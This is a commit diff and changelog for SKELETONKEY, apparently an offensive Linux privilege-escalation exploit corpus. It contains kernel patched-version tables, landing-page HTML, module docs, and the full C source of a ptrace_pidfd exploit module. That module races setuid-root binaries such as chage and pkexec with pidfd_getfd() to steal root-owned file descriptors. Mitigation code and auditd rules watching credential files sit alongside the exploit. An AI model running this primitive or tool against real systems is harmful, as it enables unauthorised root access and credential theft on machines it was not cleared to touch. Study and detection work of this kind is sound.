user's allowed-commands list. The intent was non-interactive — `-ln`
should parse as `-l -n` (list + non-interactive). But some sudoers /
PAM configurations have been observed prompting for a password
anyway when the flags are bundled, defeating the point.
That meant `skeletonkey --auto --i-know` could hang on a sudo
password prompt during the corpus scan, even though the whole point
of an LPE tool is to *get* root without already having it.
Fix in `sudo_runas_neg1` and `sudoedit_editor`:
- `-n -l` written as separate flags (instead of bundled `-ln`)
- `</dev/null` redirect so sudo cannot fall back to reading the tty
even if the PAM stack tries
Belt-and-suspenders. `--auto` is now guaranteed never to block on
tty input.
---
## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
check (`kernel_range drift`) that had been hidden behind it. That
check compares each module's `kernel_patched_from` table against
Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
findings across 12 modules** — meaning `detect()` would have
reported VULNERABLE on many kernels that Debian has on record as
patched (false-positives), or missed branches entirely.
Applied `tools/refresh-kernel-ranges.py --patch` recommendations
across:
- `cgroup_release_agent``{5,16,9}``{5,16,7}`
- `cls_route4``{5,10,143}``{5,10,136}`, `{5,18,18}``{5,18,16}`
- `dirty_cow``{4,7,10}``{4,7,8}`
- `dirty_pipe``{5,10,102}``{5,10,92}`
- `fragnesia``{6,12,91}``{6,12,90}`, `{7,0,10}``{7,0,9}`
(the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
- `mutagen_astronomy` — added `{4,12,6}` backport entry
- `netfilter_xtcompat``{5,10,46}``{5,10,38}`
- `overlayfs_setuid``{6,1,27}``{6,1,11}`
- `pintheft` — added `{6,12,90}` Debian-trixie entry
- `ptrace_traceme``{4,19,58}``{4,19,37}`
- `sequoia``{5,10,52}``{5,10,46}`
- `tioscpgrp` — added `{5,9,15}` backport entry
All changes are correctness-improving (no kernel that was previously
flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
stop false-positiving on kernels that Debian has on record as patched).
Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
MISSING.
Also enabled `workflow_dispatch` on the build workflow so the
drift-check job can be manually triggered without waiting for the
weekly Monday-06:00-UTC cron.
---
## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
Quality-of-life follow-ups from the v0.9.3 review:
+13 -11
View File
@@ -4,9 +4,9 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta name="description" content="One binary. 41 Linux privilege-escalation modules from 2016 to 2026. 28 of 36 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:description" content="41 Linux LPE modules; 28 of 36 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
@@ -56,13 +56,13 @@
<div class="container hero-inner">
<div class="hero-eyebrow">
<span class="dot dot-pulse"></span>
v0.9.4 — released 2026-05-28
v0.9.8 — released 2026-06-02
</div>
<h1 class="hero-title">
<span class="display-wordmark">SKELETONKEY</span>
</h1>
<p class="hero-tag">
One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs —
One binary. <strong>41 Linux LPE modules</strong> covering 36 CVEs —
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
@@ -81,7 +81,7 @@
</div>
<div class="stats-row" id="stats-row">
<div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div>
<div class="stat-chip"><span class="num" data-target="41">0</span><span>modules</span></div>
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
<div class="bento-icon"></div>
<h3>CISA KEV prioritized</h3>
<p>
12 of 34 CVEs in the corpus are in CISA's Known Exploited
12 of 36 CVEs in the corpus are in CISA's Known Exploited
Vulnerabilities catalog — actively exploited in the wild.
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
</p>
@@ -294,7 +294,7 @@ uid=0(root) gid=0(root)</pre>
<code>tools/verify-vm/</code> spins up known-vulnerable
kernels (stock distro + mainline from kernel.ubuntu.com), runs
<code>--explain --active</code> per module, and records the
verdict. <strong>28 of 34 CVEs</strong> confirmed against
verdict. <strong>28 of 36 CVEs</strong> confirmed against
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
<code>--list</code> shows ✓ per module.
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
<div class="container">
<div class="section-head">
<span class="section-tag">corpus</span>
<h2>34 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
<h2>36 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
</div>
<h3 class="corpus-h" data-color="green">
@@ -331,6 +331,7 @@ uid=0(root) gid=0(root)</pre>
<span class="pill green">cgroup_release_agent</span>
<span class="pill green kev">★ ptrace_traceme</span>
<span class="pill green">sudoedit_editor</span>
<span class="pill green">sudo_host</span>
<span class="pill green">entrybleed</span>
</div>
@@ -354,6 +355,7 @@ uid=0(root) gid=0(root)</pre>
<span class="pill yellow kev">★ sudo_samedit</span>
<span class="pill yellow">sequoia</span>
<span class="pill yellow">vmwgfx</span>
<span class="pill yellow">ptrace_pidfd</span>
</div>
<p class="corpus-foot">
@@ -414,7 +416,7 @@ uid=0(root) gid=0(root)</pre>
<div class="audience-icon">🎓</div>
<h3>Researchers / CTF</h3>
<p>
34 CVEs, 10-year span, each with the original PoC author
36 CVEs, 10-year span, each with the original PoC author
credited and the kernel-range citation auditable.
<code>--explain</code> shows the reasoning chain; detection
rules let you practice both sides. Source is the documentation.
@@ -511,7 +513,7 @@ uid=0(root) gid=0(root)</pre>
<div class="tl-col tl-shipped">
<div class="tl-tag">shipped</div>
<ul>
<li><strong>28 of 34 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>28 of 36 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
@@ -598,7 +600,7 @@ uid=0(root) gid=0(root)</pre>
who found the bugs.
</p>
<p class="footer-meta">
v0.9.4 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
v0.9.8 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
</p>
</div>
</footer>
@@ -65,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
{5, 4, 179},
{5, 10, 100},
{5, 15, 23},
{5, 16, 9},
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
{5, 17, 0}, /* mainline */
};
@@ -69,9 +69,9 @@
static const struct kernel_patched_from cls_route4_patched_branches[] = {
{5, 4, 213},
{5, 10, 143},
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
{5, 15, 69},
{5, 18, 18},
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
{5, 19, 7},
{5, 20, 0}, /* mainline */
};
@@ -72,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
{3, 16, 38},
{3, 18, 43},
{4, 4, 26}, /* Ubuntu 16.04 baseline */
{4, 7, 10},
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
{4, 8, 3},
{4, 9, 0}, /* mainline fix */
};
@@ -204,7 +204,7 @@ static void revert_passwd_page_cache(void)
* - mainline (≥ 5.17) is patched
*/
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
{5, 10, 102}, /* 5.10.x backport */
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
{5, 15, 25}, /* 5.15.x backport */
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
@@ -916,12 +916,13 @@ static int fg_active_probe(void)
* 7.1-rcN: still vulnerable (rc1..rc4 at time of writing)
*/
static const struct kernel_patched_from fragnesia_patched_branches[] = {
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
{5, 15, 208}, /* 5.15-LTS backport */
{6, 1, 174}, /* 6.1-LTS backport */
{6, 6, 141}, /* 6.6-LTS backport */
{6, 12, 91}, /* 6.12-LTS backport */
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
{6, 18, 33}, /* 6.18-LTS backport */
{7, 0, 10}, /* 7.0 stable: fix lands at 7.0.10 */
{7, 0, 9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
};
static const struct kernel_range fragnesia_range = {
.patched_from = fragnesia_patched_branches,
@@ -71,6 +71,7 @@
* VULNERABLE by version-only check; the RLIMIT_STACK active probe
* (--active) is required to confirm exploitability on a real host. */
static const struct kernel_patched_from mutagen_patched_branches[] = {
{4, 12, 6}, /* Debian-tracked backport on 4.12 branch */
{4, 14, 71}, /* 4.14 LTS stable backport */
{4, 18, 8}, /* mainline + everything above inherits */
};
@@ -103,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
{4, 14, 240},
{4, 19, 198},
{5, 4, 128},
{5, 10, 46},
{5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
{5, 11, 20},
{5, 12, 13},
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
@@ -62,7 +62,7 @@
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
{5, 15, 110},
{6, 1, 27},
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
{6, 2, 13},
{6, 3, 0}, /* mainline */
};
@@ -97,6 +97,7 @@
* patch (likely 6.16 once the post-rc release tags). Conservatively
* placeholding at {7, 0, 0} until that lands. */
static const struct kernel_patched_from pintheft_patched_branches[] = {
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
depending on when 6.15 closes — refresh when known */
};
@@ -0,0 +1,53 @@
# ptrace_pidfd — CVE-2026-46333
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
`pidfd_getfd(2)`.
## The bug
When a privileged process drops its credentials, the kernel resets its
`dumpable` flag so that lower-privileged processes can no longer attach
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
is a narrow window during the credential drop in which the process is
*still reachable* through ptrace-family access checks even though its
`dumpable` state should already have closed that path.
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
before duplicating a descriptor out of the target process. During the
stale window that check wrongly succeeds, so an unprivileged process can
pull descriptors — a root-opened credential file, or an authenticated
D-Bus / socket channel — out of a transiently-privileged process and
re-use them under its own uid.
## Affected range
| | |
|---|---|
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
| Fixed upstream | mainline, 2026-05-14 |
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
the real primitive and confirm empirically.
## Trigger / detection
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
probe — the empirical confirmation lives in the exploit path, which
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
table, reporting any uid-0-owned descriptor captured from a non-root
context.
## Fix / mitigation
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
(or `3`) closes the `pidfd_getfd` path because it gates the same
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
`--cleanup` reverts it.
## Credit
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
@@ -0,0 +1,51 @@
# NOTICE — ptrace_pidfd (CVE-2026-46333)
## Vulnerability
**CVE-2026-46333** — a logic flaw in the Linux kernel's
`__ptrace_may_access()` path leaves a privileged process that is
*dropping* its credentials briefly reachable through ptrace-family
operations, even though its `dumpable` flag should already have closed
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
capture open file descriptors and authenticated IPC channels from a
dying privileged process and re-use them under their own uid → local
root and credential disclosure.
The underlying flaw has resided in mainline since **v4.10-rc1**
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
**v5.6** (January 2020). Affects default installations of Debian 13,
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
## Research credit
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
published 2026-05-20. The four proof-of-concept exploits demonstrated
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
`accounts-daemon`.
- Qualys advisory:
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
- Upstream fix: mainline, committed 2026-05-14.
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
All research credit for finding and analysing this bug belongs to
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
`detect()` is version-pinned against the Debian backport thresholds
above (kernels < 5.6 are reported OK, lacking the bundled vector).
`exploit()` fires the real primitive: it spawns a setuid victim,
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
table during the credential-drop window, recording whether a root-owned
descriptor is actually captured from a non-root context. It returns
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
fd-weaponization that lands a root shell is **not** bundled until it can
be verified end-to-end against a real vulnerable VM, in keeping with the
project's no-fabrication rule.
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
rides); `--cleanup` restores it. Architecture-agnostic — the technique
steals descriptors rather than injecting shellcode.
@@ -0,0 +1,458 @@
/*
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
*
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
* path leaves a privileged process that is *dropping* its credentials
* briefly reachable through ptrace-family operations even though its
* `dumpable` flag should already have closed that path. Paired with the
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
* file descriptors and authenticated IPC channels from a dying
* privileged process and re-use them under their own uid → local root
* and credential disclosure. Disclosed by Qualys (2026-05-20).
*
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
* detect() is version-pinned (Debian-tracked backports below). exploit()
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
* sweep pidfd_getfd() across its descriptor table during the cred-drop
* window — and records whether a root-owned fd was actually captured.
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
* root it did not get (the full target-specific fd-weaponization chain,
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
* not bundled until it can be VM-verified end-to-end).
*
* Affected range:
* The __ptrace_may_access logic flaw has been in mainline since
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
* Debian-tracked stable backports:
* 5.10.x : K >= 5.10.251 (bullseye)
* 6.1.x : K >= 6.1.172 (bookworm)
* 6.12.x : K >= 6.12.88 (trixie)
* 7.0.x : K >= 7.0.7 (forky / sid)
*
* No exotic preconditions: needs only a local unprivileged user and a
* setuid-root binary or transiently-privileged daemon to victimise. Does
* not need user namespaces. Architecture-agnostic — the technique steals
* descriptors rather than injecting shellcode.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
* redefine here (warning: redefined). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <errno.h>
#include <fcntl.h>
#include <pwd.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
* x86_64 / arm64 / most arches) when building against older headers so
* the module still compiles on an old toolchain. */
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#endif
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
static int sk_pidfd_open(pid_t pid, unsigned int flags)
{
return (int)syscall(SYS_pidfd_open, pid, flags);
}
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
{
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
}
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
* authoritative thresholds (security-tracker.debian.org); branches
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
* version-only verdict below — confirm those empirically. */
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
};
static const struct kernel_range ptrace_pidfd_range = {
.patched_from = ptrace_pidfd_patched_branches,
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
sizeof(ptrace_pidfd_patched_branches[0]),
};
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
{
/* Consult the shared host fingerprint instead of re-reading uname —
* populated once at startup, identical across every module. */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The bundled technique drives the bug through pidfd_getfd(2), which
* was added in 5.6. Kernels older than that lack the vector (the
* underlying __ptrace_may_access flaw is older, but this module does
* not carry a pre-pidfd path). */
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
"vector (added 5.6) — bundled technique N/A\n",
v->release);
}
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
"(version-only check)\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
"(version-only check)\n", v->release);
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
"local user + a setuid/transiently-privileged victim "
"(no user_ns)\n");
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
"`--exploit ptrace_pidfd --i-know` which fires the real "
"pidfd_getfd primitive\n");
}
return SKELETONKEY_VULNERABLE;
}
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
* sensitive descriptors while privileged before settling. Qualys's PoCs
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
* whichever exist with the setuid bit actually set. */
static const char *find_setuid_victim(void)
{
static const char *targets[] = {
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
"/usr/bin/su", "/bin/su", NULL,
};
for (size_t i = 0; targets[i]; i++) {
struct stat st;
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
return targets[i];
}
return NULL;
}
/* Benign, read-only invocation per victim so the spawned setuid process
* does something harmless while we race its descriptor table. */
static void exec_victim_benign(const char *victim, const char *self_user)
{
char *envp[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
if (strstr(victim, "chage")) {
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
execve(victim, argv, envp);
} else if (strstr(victim, "pkexec")) {
char *argv[] = { (char *)victim, "--version", NULL };
execve(victim, argv, envp);
} else {
/* ssh-keysign / passwd / su: --help or --version exits fast and
* touches no state. */
char *argv[] = { (char *)victim, "--help", NULL };
execve(victim, argv, envp);
}
_exit(127); /* execve failed */
}
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
return SKELETONKEY_OK;
}
const char *victim = find_setuid_victim();
if (!victim) {
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
return SKELETONKEY_PRECOND_FAIL;
}
struct passwd *pw = getpwuid(geteuid());
const char *self_user = pw ? pw->pw_name : "root";
if (!ctx->json)
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
* child and sweeps pidfd_getfd() across its descriptor table while it
* transitions through its privileged window. On a PATCHED kernel
* __ptrace_may_access denies us (EPERM) once the child is root +
* non-dumpable; on a VULNERABLE kernel the stale window lets the
* steal land. A captured fd whose owner is uid 0 while we are not is
* the empirical witness that the bug fired. */
pid_t child = fork();
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* Small delay so the parent has the pidfd open before we exec
* into (and briefly become) the privileged image. */
usleep(20 * 1000);
exec_victim_benign(victim, self_user);
_exit(127);
}
int pidfd = sk_pidfd_open(child, 0);
if (pidfd < 0) {
if (errno == ENOSYS) {
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
"the vector despite version check\n");
int s; waitpid(child, &s, 0);
return SKELETONKEY_PRECOND_FAIL;
}
perror("pidfd_open");
int s; waitpid(child, &s, 0);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Tight steal loop across the victim's likely descriptor range during
* its privileged window. We do not destroy anything: captured fds are
* fstat()'d to fingerprint ownership, then closed. */
int root_fds = 0, captured = 0;
bool enosys = false;
for (int round = 0; round < 200; round++) {
for (int tfd = 0; tfd < 32; tfd++) {
int got = sk_pidfd_getfd(pidfd, tfd, 0);
if (got < 0) {
if (errno == ENOSYS) { enosys = true; break; }
continue; /* EPERM (patched / outside window) or EBADF */
}
captured++;
struct stat st;
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
root_fds++;
if (!ctx->json) {
char lpath[64], target[256] = {0};
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
ssize_t n = readlink(lpath, target, sizeof target - 1);
if (n > 0) target[n] = 0;
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
"fd from victim (uid0 %s mode %o)%s%s\n",
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
(unsigned)(st.st_mode & 07777),
n > 0 ? " -> " : "", n > 0 ? target : "");
}
}
close(got);
}
if (enosys) break;
}
close(pidfd);
int status; waitpid(child, &status, 0);
if (enosys) {
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (root_fds > 0) {
/* The bug demonstrably fired: we, as a non-root user, pulled a
* uid-0-owned descriptor out of the victim past the dumpable
* boundary. We deliberately STOP here rather than fabricate a
* root shell — turning a captured fd into root is target-specific
* (which fd, writable vs. authenticated channel) and is not
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
"captured from a non-root context (CVE-2026-46333 reachable).\n"
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
root_fds);
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
"— primitive blocked (kernel likely patched, or the victim "
"exposed no privileged fd in its window)\n", captured);
}
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
* or 3 (no attach) closes the bundled vector without a reboot. Needs
* root to write the sysctl; best-effort + honest report otherwise. The
* real fix is the kernel patch. */
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
{
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
int fd = open(path, O_WRONLY);
if (fd < 0) {
if (errno == ENOENT) {
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
"no runtime mitigation — upgrade the kernel\n", path);
return SKELETONKEY_PRECOND_FAIL;
}
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
path, strerror(errno));
return SKELETONKEY_PRECOND_FAIL;
}
ssize_t w = write(fd, "2\n", 2);
close(fd);
if (w != 2) {
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
path, strerror(errno));
return SKELETONKEY_EXPLOIT_FAIL;
}
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
"This is a stopgap; patch the kernel.\n");
return SKELETONKEY_OK;
}
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
{
/* Undo --mitigate: restore the permissive default (1 = restricted
* ptrace, the common distro default). Exploit itself leaves no file
* artifacts (the steal is in-memory), so there is nothing else to
* undo. */
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
int fd = open(path, O_WRONLY);
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
ssize_t w = write(fd, "1\n", 2);
close(fd);
if (!ctx->json && w == 2)
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
* Linux-only ABI. Stub out so the module still registers and the
* top-level `make` completes on macOS/BSD dev boxes. */
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
"(pidfd_getfd cred-steal) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* Embedded detection rules — keep the binary self-contained. The
* behavioural signal is pidfd_getfd(2) issued by a non-root process
* against a setuid/privileged target. Legitimate users of pidfd_getfd
* are rare and mostly root (container runtimes, debuggers) — a non-root
* pidfd_getfd is a strong indicator. */
static const char ptrace_pidfd_auditd[] =
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
"# watch the credential files a successful steal would target.\n"
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
